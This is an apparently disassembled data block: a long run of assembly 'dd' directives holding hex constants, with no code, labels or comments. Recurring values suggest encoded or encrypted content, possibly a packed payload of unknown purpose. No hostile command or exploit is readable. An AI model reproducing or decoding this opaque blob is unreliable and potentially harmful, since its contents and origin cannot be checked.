		dd 6E5E039Fh, 8EC13B5Dh, 966CBE47h, 8BBD7073h, 6CDE9C35h
		dd 4C6E4023h, 0CCFAE767h, 8B3B0993h, 260EE59Fh,	3DF8392Ch
		dd 0D717BFACh, 41CB5B76h, 10C6135h, 7AC0CD61h, 0C966B428h
		dd 0CB466Eh, 0B7362732h, 9372CF6h, 0AD829F11h, 82613424h
		dd 5D840B85h, 0B98E1AA9h, 143FB4D7h, 0A2F46EC1h, 0E27EEFF9h
		dd 0E4206E76h, 0F5ED8B82h, 0D71D9537h, 0A1201576h, 166AAFF4h
		dd 4500E3A7h, 0CCFAD2F6h, 0BA7C3519h, 6F87FF6Ch, 6A4D95F5h
		dd 0A6F0C31h, 0AAE6ACAFh, 0A6B716h, 14CB8C1Dh, 3731F6F7h
		dd 3255D1B6h, 98753A6h,	64983A28h, 866B94A4h, 0F19404D4h
		dd 81083903h, 0A00524Ch, 3A360414h, 2673C0F4h, 5A54BBC1h
		dd 172BA50Bh, 3537740Bh, 0A6A0B78Eh, 0F95237Eh,	249CC08Bh
		dd 7CB5B6Dh, 8D6F21C0h,	23B51EAFh, 726EBFD7h, 0F7C41B67h
		dd 39F98310h, 97795Fh, 912286F9h, 0A205B7B0h, 42EC15E6h
		dd 0B6F2E65Fh, 6304D393h, 0C70050EAh, 6710F1ADh, 48E4B408h
		dd 0A922E4Fh, 37FCBFC2h, 0ABF1DF50h, 0EAD1E938h, 12E2CFEFh
		dd 4C851E2Ch, 2DD4E166h, 3E6BE37h, 8875034Ah, 1795CE1h
		dd 59767FBAh, 0E8C8A50Bh, 482C6529h, 0AE70D879h, 28968C4Fh
		dd 7D389437h, 6CC22492h, 0A2AB7D12h, 2629E589h,	8F691965h
		dd 0A5C6E79Bh, 39458C88h, 4E0B57Ah, 2C274067h, 5A1DC65Dh
		dd 2395C406h, 8FFBAD49h, 0B66D2A34h, 5248D393h,	774985A7h
		dd 0B7EDCB50h, 9FC43728h, 0EE3989C9h, 0F7598163h, 3DDBA1D5h
		dd 721835A0h, 73372F06h, 0FFE59E4Fh, 6310D7A8h,	4EDFB20Ch
		dd 0B6E9EC59h, 0CAE2D393h, 670AC7A4h, 0D52C1913h, 332DFA76h
		dd 0EBDBB6Bh, 0D71CE2F6h, 78E56276h, 0C9CF8CB9h, 4EDFB20Ch
		dd 0A6CB8B59h, 411FFCB5h, 5FCE50A6h, 66631059h,	574D05A3h
		dd 0C3372BCDh, 0F24F9707h, 0A74A9D7h, 0FD98F74Ah, 0F085AFFEh
		dd 2182842Ah, 0C3C380A6h, 0F2CD5A7h, 0DCB6A80Bh, 5FB730F6h
		dd 0E91F0C2Ah, 6B0D8F53h, 0E56A0F44h, 1F469B4Eh, 80CB87C5h
		dd 0E57D6285h, 0D644BAC0h, 33FC2E4Dh, 0D0229426h, 53427F55h
		dd 72CBEB17h, 617F781Ch, 3DFF50EAh, 0AB113F91h,	0D8CDFB87h
		dd 5882ACDh, 0CCFAD2F5h, 72CBEC95h, 4450871Ch, 0CE373099h
		dd 1FC9FA96h, 0DDA769D9h, 70884847h, 7CC7F4C2h,	0D2A5D5CAh
		dd 94C80799h, 0F9E3B74Ch, 39458C99h, 3A5F5D7Ah,	0C53F34AFh
		dd 0A6F0AF5h, 48390445h, 6AC9B32Eh, 3AAEDA47h, 4795835Fh
		dd 795DF458h, 0FA3846EDh, 0B4FAD390h, 241795C8h, 118BE62Ch
		dd 89565102h, 7C37308Bh, 0D29DA3C8h, 0D71868A4h, 956BDC76h
		dd 0A6671D91h, 0DF458B6Dh, 0DA3518F8h, 0D940286Dh, 6200E25Ch
		dd 0F5FF50EAh, 0D718303Ah, 0E4ECB76h, 8E372F57h, 27B1A4B6h
		dd 14F0861Fh, 0B5438539h, 6D3A9B9Ch, 0EB07B384h, 56A6E371h
		dd 0D63747DAh, 5FE1705Eh, 0EBF9614Bh, 0C8374C21h, 8DFF7026h
		dd 33FA3BEBh, 0E3902910h, 0C0D013D7h, 0E46531C7h, 5CE6ECABh
		dd 8B3D5123h, 2F4CE59Fh, 294A8831h, 0B0C011D0h,	7D25B22Eh
		dd 0F62B5C27h, 0A6F0D6Eh, 0B2E9B1ECh, 1A6DE628h, 3AAD6EEFh
		dd 0FEDE01E4h, 81C4F239h, 0EB07B2FBh, 6CDE9CC7h, 4C6E4023h
		dd 0CD065E67h, 8B3B0993h, 6A9B039Fh, 5904450Fh,	0D868647Fh
		dd 6337307Eh, 3F2DF3F0h, 0EA372F55h, 38B740A1h,	0EE02C016h
		dd 64713604h, 166B94A4h, 0E3411AC5h, 0E9E1C601h, 6740B32Fh
		dd 170C581Fh, 604732E4h, 0BC0394AFh, 70F57685h,	2FAD38Ch
		dd 5FEDE16Eh, 5BDE5629h, 72CBEC84h, 4450871Ch, 0C2373099h
		dd 0DDB35D0Ah, 919B3910h, 118BE628h, 3537CF8Ah,	38458BBCh
		dd 0F3C65720h, 4A90CCA4h, 0E37A2D53h, 28F689F5h, 0D3EDD276h
		dd 20D74A30h, 5D7A35E7h, 4C8598ABh, 0ECA2C017h,	0DF354603h
		dd 45AC3967h, 0A7A17E28h, 0AABB8C78h, 0DF700E2h, 6D9F98CAh
		dd 0C6BA695Bh, 5A687742h, 0E3B9C6BFh, 69A4B56Ah, 7770D9ADh
		dd 0EB2953BDh, 7B52A88h, 0BA72EF6Eh, 3AA4B56Ah,	7D8279FEh
		dd 796E4739h, 0D820A776h, 0F903DF4Eh, 0A66FA90Dh, 0D6DBC5A5h
		dd 26592EA0h, 195C4B8Bh, 45316E75h, 0A06A4AB2h,	10704AD7h
		dd 31B25B6Dh, 0D684CF96h, 8B3874CCh, 0F0BC4B60h, 73B56134h
		dd 831EB2FBh, 7606F89Ch, 6DB8ED33h, 49BD27D9h, 0D2F20FBEh
		dd 0F55E5C0Ch, 1DBD0E98h, 0D042A430h, 0CCFAD38Ch, 0C991068Bh
		dd 9C019610h, 549303E0h, 2A07AAA5h, 290A365Ah, 1BD8BE06h
		dd 0CB39C61Eh, 95A2C7E5h, 0AB9CD95Eh, 0E6076015h, 0BFAC2DC2h
		dd 0CCFAD38Fh, 3F88A0Ch, 9E6A8EE5h, 750E8E73h, 9DFAD23Fh
		dd 0BB0E8F93h, 9DFAD32Ah, 0D5D68E1Bh, 0AC6C4758h, 6442B82Eh
		dd 0B78C3920h, 0B5F2A6FCh, 0E4435878h, 0BC15B072h, 0BFA11EC2h
		dd 0D67FBEC0h, 0BD823F6Ah, 9F86DA4Ch, 49A18E1Bh, 8AC08BC9h
		dd 53129667h, 5928AACCh, 157B4178h, 0CC0F916Eh,	768BD393h
		dd 0CCFAD2E7h, 0F811A608h, 0F711BE1Dh, 0CC0EAE67h, 0AD3D393h
		dd 0F62AF82Fh, 6B93BAEDh, 7520AB47h, 0AE2EB2D0h, 0DB16ADCDh
		dd 0DE2F37D2h, 0A158EF68h, 5A2B09CAh, 4C1DEF3Ch, 0FA770975h
		dd 0F927D81Dh, 8B6B81C5h, 0C70F0B09h, 5A90D6D3h, 23A20B3Dh
		dd 0D7F4ABACh, 6F1EEF0Bh, 0A115D0D3h, 60C6E578h, 313A804h
		dd 0DECFA563h, 0B591CA41h, 799FF627h, 24340F3Ch, 0A9FD3F0h
		dd 89F3A3C1h, 208D2D67h, 97AABB8h, 8641CDC8h, 0E5D5D396h
		dd 0CCFAD393h, 69CA3373h, 0C0177672h, 0C0122E72h, 0CCFAD2B4h
		dd 0EEC9D7C8h, 0C26817ABh, 0CF0F9F07h, 0CD05AD61h, 5855B993h
		dd 3FBCBBA9h, 8641F0E9h, 0CCFADF54h, 0E530D395h, 0CCFAD393h
		dd 10C9D873h, 0C0125E60h, 0C0122E72h, 0CCFAD2DFh, 19E1601Dh
		dd 0CCF80706h, 13944493h, 183A5EF2h, 97093FCDh,	0B6E52D55h
		dd 0CD05ABB4h, 8331D393h, 5EB7A1D0h, 2753ABB1h,	0B7278901h
		dd 69DAD393h, 9934344Ch, 0C98BEE68h, 2A2EEE75h,	3CD393h
		dd 0DEF2B551h, 0ED1BD619h, 0AFDDED65h, 864708A2h, 0E55BD396h
		dd 0CCFAD393h, 0BC9D973h, 0C016E660h, 0C0122E72h, 0CCFAD2B4h
		dd 0EEE14132h, 0A7A7DBF7h, 0B090B5DFh, 3EF822A6h, 9E8D548Fh
		dd 8FFCF339h, 22B68A8h,	0F4D28656h, 820141D2h, 0C321091Dh
		dd 0D3CCD0A9h, 0F499F192h, 0D8E6575Bh, 9507AB96h, 3B3E9204h
		dd 9EB97664h, 37486EC8h, 588379E9h, 0DAB654B5h,	0DA04D6CFh
		dd 0CFB6BDB7h, 15DF179Eh, 2B71C5CDh, 0D4984CE9h, 988508DFh
		dd 359821E4h, 0C0CCBB54h, 89FCF552h, 0E9733156h, 1892879Bh
		dd 0E45FF05Dh, 5662493Eh, 0B8DF177Eh, 15566F2Bh, 9BBF165Dh
		dd 0CA24FD65h, 0B681F2BCh, 0FABA42C4h, 51345600h, 0AA45D941h
		dd 0C0CD4038h, 970FFD41h, 0C0CAC4ADh, 0C01589DBh, 8BFA7596h
		dd 15DF178Eh, 217214F4h, 0E2A7285Eh, 0E9AEB6A1h, 8E3F62DAh
		dd 15DF1657h, 73879CFFh, 0DCE95C12h, 2D5EB6CDh,	0BC7FE87Eh
		dd 0B4B99B64h, 36F3F1C8h
		dd 0E968BB54h, 92FC425Ch, 43BF6B63h, 0B168B77Ch, 15CC2E7Ch
		dd 0D3EE165Dh, 0ED514608h, 0E57BC5CFh, 1F3AB3C9h, 15E72D54h
		dd 0D7F8165Dh, 7B414BF3h, 652111C5h, 98F7CC7Dh,	2011F485h
		dd 15DEF2BAh, 954C165Dh, 0C0E16A79h, 15DFC3A3h,	0B918165Dh
		dd 6B802A80h, 0C7533E69h, 0E08C3B92h, 15DF165Bh, 0EECF108Eh
		dd 6A601A1Eh, 723D2954h, 0C0CAC3B0h, 0B79D2D4Eh, 4475776Eh
		dd 463063A5h, 8F09F7Dh,	0FF4B07h, 6D0F9770h, 0E9FE8A57h
		dd 87218F8h, 0FE2C59AEh, 7318A482h, 4618A46Eh, 0B27218FBh
		dd 0BBD759AFh, 0F94CA917h, 0FC5040B0h, 5BE880A1h, 6D09F1B4h
		dd 0E9FE5657h, 87218F8h, 0FC185A92h, 7318A8E2h,	0E718A46Eh
		dd 0D67218F8h, 0F62359FFh, 74E501DDh, 585F89E4h, 3BEB1854h
		dd 15E5A524h, 6D77F777h, 1ED4C9E7h, 9B09F5E6h, 3B721885h
		dd 79F15E04h, 0DA341D50h, 6D09F5EAh, 0E9FE8A57h, 87218F8h
		dd 0FE2C59AEh, 7318A482h, 4618A46Eh, 0B27218FBh, 47F59AFh
		dd 0C51C98Bh, 8DF133C9h, 8C7F03BFh, 0AE26DF50h,	0BF801885h
		dd 41792724h, 0F0EF0F69h, 0A549F01Bh, 0C7C3B070h, 66771806h
		dd 15DACAD7h, 8D7758D8h, 93C19029h, 0CEBB4975h,	0EEC987C9h
		dd 2581E3D8h, 0B8A6FEA7h, 0D5A90F3Dh, 8C9B1BE4h, 4C284551h
		dd 0A7E35C26h, 0FF684F98h, 0BB2923D4h, 4AA8B2C2h, 6548ADA6h
		dd 5A735884h, 63BD1412h, 724164FBh, 353E1160h, 0B890A81Bh
		dd 0B55AB625h, 4B7C9E0Ch, 7C12A3A6h, 6BE2A4A4h,	80B0CEEEh
		dd 3C2F7B81h, 216DE5F7h, 4E2960Dh, 0FD90F6AAh, 88329180h
		dd 76F8AEE9h, 92B09EF0h, 26A48BCBh, 0A508AEB7h,	2DCE81E4h
		dd 8CACC0A9h, 928BF95Eh, 8831F0AEh, 0C0EA9C79h,	8831F07Ah
		dd 127C0A5Ch, 0F474B7B9h, 782282F1h, 4BDB1E7h, 0BAF90CC1h
		dd 5A9E012Ah, 0C9814379h, 331F0AFh, 17B7E188h, 260468FCh
		dd 0E1E04535h, 6EA9423Bh, 7C39F1Bh, 0BA858F32h,	424F8FBAh
		dd 0BCD8444Ch, 0DDA083ACh, 1D21A1A6h, 0E2B6888h, 0ADEA9CBEh
		dd 0A3F9379h, 0DCC0B1A7h, 0E2853AFh, 4BE7B3BDh,	30B955CDh
		dd 0C26B2220h, 454C8F37h, 0AF775454h, 0C6556883h, 10EE55B2h
		dd 0AA31F0AFh, 8080AF1Ch, 623291F9h, 4BC6DD38h,	41C8C358h
		dd 421A728Eh, 6CB68885h, 678C85DEh, 59A009C6h, 3B24D3E0h
		dd 0AA774D1Ch, 0F4E89AB6h, 0FC070232h, 2BBC50DCh, 57B86566h
		dd 12B879E2h, 2065CA5Dh, 0CD884555h, 2F0C7E6Bh,	12BD926Bh
		dd 2070215Dh, 4CB862B9h, 0A63CDD91h, 29AEED98h,	0FB5659ECh
		dd 37E29F4h, 0CA7EF44Dh, 0CC588AB9h, 25B80DE1h,	11716366h
		dd 46B475Dh, 0D28285EEh, 12B7EF6Ah, 18B8805Dh, 12B87995h
		dd 205ACA5Dh, 0CD704502h, 2F0C7E6Bh, 12BD926Bh,	2074B85Dh
		dd 3CBE9BBFh, 8305D4FCh, 53B88A71h, 683C537h, 2AC1FE1Bh
		dd 12B7EF66h, 6E7AD1FDh, 0F9418AB6h, 0F9339B85h, 12B7EBD8h
		dd 0A985A9AFh, 0AA6DFD4Ah, 9BD949C7h, 21DA14DBh, 0CC2DAD59h
		dd 0CBE1E66Ah, 95DA140Ah, 0CC3FDA95h, 21B8656Ah, 0CF6A4559h
		dd 0F88C446Ah, 0C106BE38h, 0EEEC86EDh, 2E61B3B2h, 0ED7BD1F7h
		dd 0D1FC04CCh, 0AB13ECB6h, 52ECD947h, 0F50944E7h, 0E291597Ah
		dd 0D084178Fh, 52B4C44Bh, 98FB2E1Dh, 550BF4ADh,	0B475191Ch
		dd 8F923B35h, 256E41C1h, 7C96F649h, 0D03295B6h,	0F52FFE48h
		dd 0A65970BBh, 0A6F26031h, 316B3215h, 190EA2C5h, 84636AD7h
		dd 859560E8h, 52B2C36h,	0CC68C313h, 3E2ECBEDh, 0E72E2BB3h
		dd 0B8D4F33Ch, 0C01BD2A7h, 46F35B87h, 0EBEE13B6h, 46A21076h
		dd 0Ah dup(469913B6h), 0B1C613B6h, 60991487h, 0D050BC46h
		dd 0B0E1B88Dh, 6EE12DCBh, 8A255366h, 840017B2h,	50C8A111h
		dd 6E37B68Ch, 0D212B20h, 48DCC404h, 0D86F39E1h,	73AACA2Ch
		dd 0CD813E8Bh, 0E1A03292h, 9EE22EC5h, 0BFAB1FE5h, 0A6970F62h
		dd 2DCA44E6h, 686B23ADh, 204F675h, 5CB4BD48h, 8D28A236h
		dd 9A419322h, 3A242D6Bh, 76547CA8h, 0C0AFFCA0h,	70125EBh
		dd 419ACBAh, 532D7309h,	29194B94h, 0E1EEBDF9h, 8E67B796h
		dd 0D77F8EB5h, 2222E4B0h, 0B78CC074h, 0ED279DF7h, 78422211h
		dd 0B0942D4Ah, 4F632126h, 347E31DBh, 683F73D4h,	29369E57h
		dd 0AEBE69AFh, 0AC9415CEh, 0B8C21B68h, 18E90583h, 794DF0B4h
		dd 0D28BE23Ah, 9312D8FAh, 466D2FD2h, 318734DFh,	36979050h
		dd 0EB0EC4BAh, 0ACDC4467h, 0CEB2EA0Dh, 5F8B5492h, 846DEB86h
		dd 2440D3C2h, 0C07BD9C5h, 8CE9743h, 7110B0EFh, 0E57AB4Eh
		dd 0C145DCD8h, 469913B0h, 2A395455h, 0F41B8088h, 69679A57h
		dd 512A0FF0h, 0CBE26C85h, 2372D282h, 66D1AB7Fh,	32CF6D90h
		dd 0F9F68923h, 0A1594237h, 0C484511h, 2FC5A3BDh, 15B0A298h
		dd 0F2636E9h, 2F0F0FA8h, 0B8867E6Ah, 2EB8B4A1h,	7E96B1A1h
		dd 0A3361E08h, 4CDEAE71h, 4CF519E3h, 0A564D195h, 92E96F17h
		dd 0D8CAC74h, 3A92803Eh, 0D1B3C20Ah, 50468425h,	192DA277h
		dd 0C0359743h, 9777F722h, 4DFBC964h, 8CC7C576h,	463C78FBh
		dd 124D5233h, 0CF1CA815h, 7999A10Fh, 0D99148Fh,	963AA985h
		dd 2D7056E6h, 4ADFA3C3h, 3C722366h, 1FA82BEBh, 0B7886F79h
		dd 6A7902F0h, 0D6531015h, 6A360C85h, 8375C738h,	59DC597Ch
		dd 5E2F3330h, 0B817678Eh, 0A130BC2Ch, 82C9BBF5h, 71414C9Ch
		dd 0EE4C613h, 0F66403A6h, 6CDAF0B8h, 0DA826E7h,	0E692F688h
		dd 163D3B27h, 99608317h, 5445DC44h, 466D2FBCh, 7D3E59D6h
		dd 0BDEAD22Ch, 0AC979038h, 0DF389478h, 0CCC532BBh, 9E8B90CAh
		dd 0F024CA08h, 0B02CCAA6h, 75CE5369h, 0CA5F45D9h, 0B7FDF9AEh
		dd 0CD3E1EC1h, 0F4678276h, 0EBA03077h, 629D4A96h, 0B910E3A9h
		dd 4ABAA8D1h, 0DBD6DD66h, 54E9BB93h, 2096F294h,	320C7550h
		dd 63C8F224h, 0ACBDD494h, 5A821ABh, 638E39FDh, 795A1597h
		dd 466B9384h, 0BC4446B6h, 0B4DC0476h, 0BD394966h, 0E2DEF14Bh
		dd 0A0E3E5BBh, 11887E45h, 0AD97901Ch, 0AF2FA40Eh, 7EFDF897h
		dd 5DB738B0h, 1F9790C9h, 5048D9CBh, 0A8CBCEDEh,	7133EEB8h
		dd 0B4BD4AACh, 0E3105D32h, 3C4C8538h, 0CFF4BB6Bh, 67ED9B5Bh
		dd 7287D83Ch, 4BF6D2EBh, 0A00B3D00h, 3404F71Fh,	87FDB64Ah
		dd 0B8881EB0h, 88DC6A87h, 0F1D1518Dh, 0AA9CFC07h, 4965EFACh
		dd 0DFD6238Ah, 0A6304896h, 7B88D941h, 85E32155h, 0B6634014h
		dd 0F90B8BFDh, 0E5072068h, 0F08113B0h, 7189FFEDh, 3D9FEFD8h
		dd 372511E5h, 63644D01h, 0C68A9EBEh, 0A3D5F15h,	704C2635h
		dd 0B1A9B9CEh, 4834C06Ch, 6F58CEFFh, 42CCC06Fh,	7FE3E662h
		dd 73B986DAh, 0BD743552h, 0C7855FEEh, 538CA3ECh, 0F2704294h
		dd 0B6BC6BCh, 0C3D4FC8Dh, 9A34D399h, 0DCD6BC8Dh, 45633111h
		dd 8B58B366h, 0F2710BAEh, 2F092F79h, 81E66F85h,	0B1954647h
		dd 3E5527BDh, 19EC5EA6h, 2FDAAA14h, 0CAB8314h, 0C6515F3Eh
		dd 30BC75FFh, 3D394218h, 0E05FD702h, 7E626CBDh,	0A2B4DB02h
		dd 9BCBB9ECh, 466D2E19h, 0E61C35D2h, 10F6D55Eh,	55874DDh
		dd 24659A10h, 38706F5Bh, 0C88FC391h, 0E840FAD8h, 2B5503EBh
		dd 0FC4347AFh, 5F821742h, 0B49B1977h, 20D0B711h, 0F1322C2Dh
		dd 1CA36E1Ch, 5B168D0Ch, 0D9A01E42h, 0A5DD65h, 4A16AABAh
		dd 46991AD5h, 0EB1A51F9h, 28CF2FE7h, 3BD4A0AAh,	6F444D75h
		dd 472243EAh, 0DB90AEB6h, 0A866458Eh, 194C8800h, 0BA84B9DBh
		dd 0B6FB4AACh, 0E6001899h, 6E948C39h, 0E69E478h, 0FDB04E73h
		dd 4C6A540Fh, 96AA8140h, 4DE84208h
		dd 319DD4AFh, 468D6037h, 0C28B4D86h, 67691666h,	0C03C06Fh
		dd 3A4A775h, 93019251h,	6F67FFC8h, 0C8E7C8B0h, 7597604h
		dd 0B29EFC06h, 0D00DB1B8h, 3E041C4Ah, 70C71A0Fh, 7700A5FDh
		dd 0F02A6BDh, 6DE607CAh, 2C70A8F9h, 0E8E9E58h, 0DB3A3175h
		dd 366458Eh, 97388F2Eh,	0AA513D58h, 78655A74h, 3E79E61Ch
		dd 49AA8D4Ch, 0ED6AD1F0h, 60D5E6F3h, 3C0C9B47h,	63E19D79h
		dd 1FB9AB83h, 0E3B3132Bh, 467695A5h, 38BB13B6h,	0C7D8545Ah
		dd 0A6403A8h, 0D213E3Ah, 0C0B279E8h, 0FC62245h,	217DBA4Bh
		dd 644D93A2h, 4E858BBBh, 0AA514545h, 0BE780010h, 23C3123Fh
		dd 9D9913B7h, 17E5CF4Fh, 23703C3h, 0DFF0F763h, 62D63B2Bh
		dd 466B51F9h, 0E01112B6h, 499913B0h, 0BCD92F55h, 0FA652BFAh
		dd 8F6CD195h, 0EEC42BEBh, 4207541Ch, 0B21E1274h, 7A84137Ch
		dd 2D0CD58Bh, 703A89AEh, 20DCA658h, 1D125Bh, 0B32B0B30h
		dd 466D4AA0h, 54961067h, 46D12BEEh, 0A64313B6h,	0EA6BCF56h
		dd 5ED3A5A2h, 0A4F14061h, 0A3943364h, 466D2FDCh, 4A26D3FDh
		dd 82D92BE5h, 0BB322BF3h, 23C3123Fh, 9D9913B7h,	30F9B047h
		dd 30CF68C3h, 0A846963h, 2C7EC994h, 13765C54h, 0B5243347h
		dd 0A12B2244h, 653AB474h, 43721BC6h, 1F3341C1h,	0E26459BFh
		dd 3574AE55h, 21FA7163h, 0C3EDA935h, 3E31D190h,	4699134Ah
		dd 7CB65656h, 780AD864h, 7819F065h, 46991357h, 2DACEE1Bh
		dd 0DEDFA767h, 0B7812D91h, 0CA4FBC28h, 3D7CD190h, 4699134Ah
		dd 5FA7AB56h, 7819F043h, 7819F065h, 466D2FF2h, 80A97FF6h
		dd 55364F74h, 8FB27E40h, 0F02F5E57h, 5AD35C53h,	8DD31382h
		dd 46A57B32h, 0A53913B6h, 526C5642h, 2293D069h,	4726D0C3h
		dd 0C89F13B6h, 0D9E090F9h, 0EBFC83F2h, 0D4BC224Bh, 0C9F06DE0h
		dd 46991382h, 3E8C2FC4h, 4699134Ah, 52B5B456h, 780AE867h
		dd 7819F065h, 46991329h, 9AA7AC09h, 947498A7h, 0CDE267B2h
		dd 0AC6C24DFh, 6A178E23h, 4F8C5C57h, 0C9EA0433h, 2CB2E4Dh
		dd 7A3D5C58h, 46A57B60h, 633913B6h, 2265ADDCh, 2293D0C3h
		dd 4718D0C3h, 0EB5913B6h, 0AFA4DF42h, 0F226D9B4h, 0C618DB01h
		dd 0ED6738B4h, 2CB7AC6Ch, 88198907h, 8CE84F50h,	0A7D2460Fh
		dd 70AEB1ECh, 0DADE29ECh, 2F682418h, 0DDD2410Ah, 69CD0FD2h
		dd 17ECEBB0h, 1D3A2FBEh, 0D1FD2449h, 0F420BBE4h, 6EBCA370h
		dd 47B505DEh, 558432A5h, 86BF6CF8h, 0DAB5F903h,	956D55B0h
		dd 93D39CFh, 0BFB531AEh, 6FA3E8F0h, 30969AA7h, 9AC26D1Eh
		dd 0B92CF2DCh, 1A7DAA76h, 4AAE7DB8h, 4C34F068h,	47CD5527h
		dd 9EC9E7D4h, 8BA85945h, 0C7B532E3h, 6BE7FFEEh,	670D344Ch
		dd 4FD37085h, 62769A7Dh, 47B4F11Fh, 37B1B71Dh, 3FBC4578h
		dd 951B8CCDh, 475F934h,	0C65A5833h, 0E8EF1529h,	0C3B50060h
		dd 3C45B35Fh, 93B532A7h, 0A9D46DADh, 0BBE0CF10h, 0E38B6F83h
		dd 73F35FA0h, 0B7D31677h, 0D9DBE5D6h, 0DC53D779h, 0AAA7C238h
		dd 5BF5312Fh, 3983163h,	47B53175h, 5465937h, 8BB531AEh
		dd 106785B3h, 1F4DF24Ch, 8EE8311Ch, 0C7DF3ACBh,	42B24280h
		dd 5BF59494h, 69B3B67Bh, 0D1984D79h, 0A0334CACh, 0D4050AA8h
		dd 0ADC57935h, 3624C143h, 0A0334CAFh, 20003137h, 0B9FD0E47h
		dd 0CCAD6F7Eh, 28983AF4h, 1DB41AD1h, 5F620351h,	86230FC5h
		dd 5F8D1132h, 6B48E25Ah, 0A0412088h, 0EDC56D88h, 5F0289C5h
		dd 9088F1F7h, 0A09379FAh, 0EDDD6B88h, 9291AC94h, 0CBCE7626h
		dd 0AB924CD9h, 9D522B5Ch, 0D1EA4D5Eh, 0A0334CACh, 0DE0034A8h
		dd 0ADC20A21h, 3624C143h, 0A0334CFCh, 0FA7F7991h, 0CDA8B97Dh
		dd 1DB47511h, 0A166451h, 0A07D4D82h, 0AEE3C44Ah, 0ED98F571h
		dd 0E6054B74h, 0FCBD1233h, 0D83B8084h, 5F5CDA12h, 0A0334C5Ah
		dd 312B6F88h, 98315F8Fh, 4F4C80D9h, 1DA8C7A5h, 0A7AD6E51h
		dd 0A0F27A2Fh, 14AD9FAAh, 0FE48E251h, 0A041207Eh, 0EDAC6D88h
		dd 5EDA83A6h, 9088F1F7h, 0A0900FFAh, 0EDFE0E88h, 45B82CA1h
		dd 3B9487C2h, 6E7E8DA4h, 101203F0h, 0C40E749Dh,	5195571Ah
		dd 0E6E326Ch, 0A7BA316Eh, 2350F606h, 2D207A81h,	369F8599h
		dd 3063A96Ah, 0BB36C38Fh, 7C5F76BAh, 4E0BF7BCh,	4127EAEAh
		dd 6BF04E84h, 0FBCCC450h, 0D4266416h, 7CBBFE82h, 71051199h
		dd 1BF67E6Eh, 8DD93557h, 86B462B6h, 0E4FFE757h,	6BF2A020h
		dd 7E63EF50h, 2281CC6Ah, 9F5D4B4Ah, 875223A7h, 0E99A789h
		dd 5DF793ACh, 0C5A60CE7h, 33C8D8CCh, 2BD00E04h,	412E0819h
		dd 34BFEEE9h, 0C54D19E9h, 78609337h, 203B31EDh,	0E16A9313h
		dd 508B3B27h, 90D8489Eh, 0A8447475h, 0BCDBDB6Bh, 7C558C6Ch
		dd 188ADB6Bh, 61DD3760h, 0C48BE0E3h, 0C80EA2E5h, 0EBA98674h
		dd 3108E533h, 0DED7EB5Bh, 0BC806BC5h, 22806F3Bh, 0A0776F31h
		dd 0C48BE8E2h, 0CC64DC5Dh, 2A031FF3h, 8468F520h, 6B76C8EAh
		dd 0BA1F51DEh, 17B0B869h, 70DA6A2Eh, 8A53A88Bh,	381ED83Bh
		dd 0A5EFB391h, 4CB833CFh, 0D212C09Dh, 0D1BFC95Dh, 5CF8DC5Dh
		dd 7AE3CF34h, 2DF9188Fh, 2FE47323h, 8F4178DAh, 93E5EF0Bh
		dd 0F48D2B5Ah, 1E12CA7Ch, 33D45FBEh, 29474F4Bh,	0E938B041h
		dd 5FB8DC5Dh, 0B711F82Ah, 599CB6C7h, 0D213301Eh, 5BA1B6D3h
		dd 0C48BDC27h, 0F624BD5Dh, 0C8E31E30h, 6F01E3Fh, 0D9CD61DFh
		dd 0C8031530h, 6AB8DC15h, 4E25C736h, 22168746h,	0C418B45Bh
		dd 75E3DE1Bh, 8A1616D9h, 4C4930Ch, 0F773C70Ch, 17587FAh
		dd 1BCB8D04h, 72DA19DDh, 0EFBCD9CDh, 53F6B18Fh,	0F8924BBDh
		dd 33D41226h, 0C2E41E4Bh, 0C7D3CD5Ah, 39ADC76Bh, 0E5FBC8C8h
		dd 4164DC5Dh, 34C4B5CDh, 0C48C7925h, 248ADB5Dh,	56DD33D1h
		dd 0D2134BE7h, 589AE512h, 7F32935Eh, 0BB8BDC6Bh, 0A8EFDC6Ch
		dd 9053C96Bh, 4164DC5Eh, 33D6AB3Dh, 0C3780D25h,	788ADB5Dh
		dd 56DCE630h, 0D21330BBh, 5612E512h, 0E332935Eh, 0BB8BDC67h
		dd 7C24146Ch, 0E88FC96Bh, 4164DC5Dh, 33C8EAD5h,	0C37B3125h
		dd 0B48ADB5Dh, 56DD33C6h, 0C48BD7CFh, 3E2EE512h, 3732937Ah
		dd 0BB8BDC0Ch, 7D16EC6Ch, 0D1CBC96Bh, 4164DC5Dh, 33C999A9h
		dd 0C48F6525h, 0E48ADB5Dh, 56DCE503h, 0C48BDCC3h, 39B2E512h
		dd 9B329370h, 0BB8BDC15h, 7B7BF46Ch, 0D127C96Bh, 84B8DC5Dh
		dd 0C48C37A7h, 40B8165Dh, 511831F2h, 0BC8C1100h, 0E15FF112h
		dd 33C93796h, 0A880B63Bh, 0E6DCE646h, 0BEF04BC9h, 0C48BDC30h
		dd 0BBA54D86h, 0A8906A8Ch, 817CF76Bh, 2D64DC28h, 0E2C9FACh
		dd 0D0D11710h, 0F8ABDCA0h, 0A43C6D4Fh, 16C70D6Bh, 0C24450CFh
		dd 9FC430D6h, 8AF131E7h, 0D6F012CEh, 0C48BDC3Bh, 654CFFF7h
		dd 5C9F0DAEh, 29EC930Ch, 33D75121h, 5FCD15A7h, 71EF149Ah
		dd 0EB05DCCAh, 0C48C8FC8h, 0C5EBDC5Dh, 375D9811h, 0A11A4BC0h
		dd 0C49B4DE2h, 0FADEDC5Dh, 414F7918h, 0A87AE3E4h, 34C54E3Ah
		dd 395515A7h, 0D2139370h, 1DB8DC5Dh, 33C995B6h,	0B416E1DFh
		dd 0EA339313h, 8FC05806h, 0D43371B3h, 33C93796h, 5330DCA8h
		dd 0C48BDC02h, 664EA6BDh, 7871BD91h, 75B854D1h,	0C48BDC1Dh
		dd 974C0ED6h, 6C016665h, 0E168E2EBh, 0E943C9A8h, 0B86CDC5Dh
		dd 5C932630h, 0E9932675h, 395AC512h, 0FCC49370h, 448E9F2Ch
		dd 65A746F8h, 656490Ah,	0C93A893h, 64D3EC2Fh, 2068B708h
		dd 0E2A241F5h, 66166E91h, 0A7E1D863h, 4E896FD9h, 489A43DAh
		dd 0FE2C2F3Eh, 0CE23990Bh, 2C084F3Fh, 1C000623h, 0BDED3DE4h
		dd 9C2CB42Fh, 5EC62130h
		dd 2919CA38h, 0EAAA10DCh, 0FB92E40Eh, 2D6F5A4Ch, 165CC283h
		dd 13A8EE61h, 0F10AEBD6h, 0B7C920F5h, 3CA6E5F9h, 7ECF1342h
		dd 5C199479h, 0B61192A3h, 85B2F83Bh, 0F92E19Ah,	0FCA64EDDh
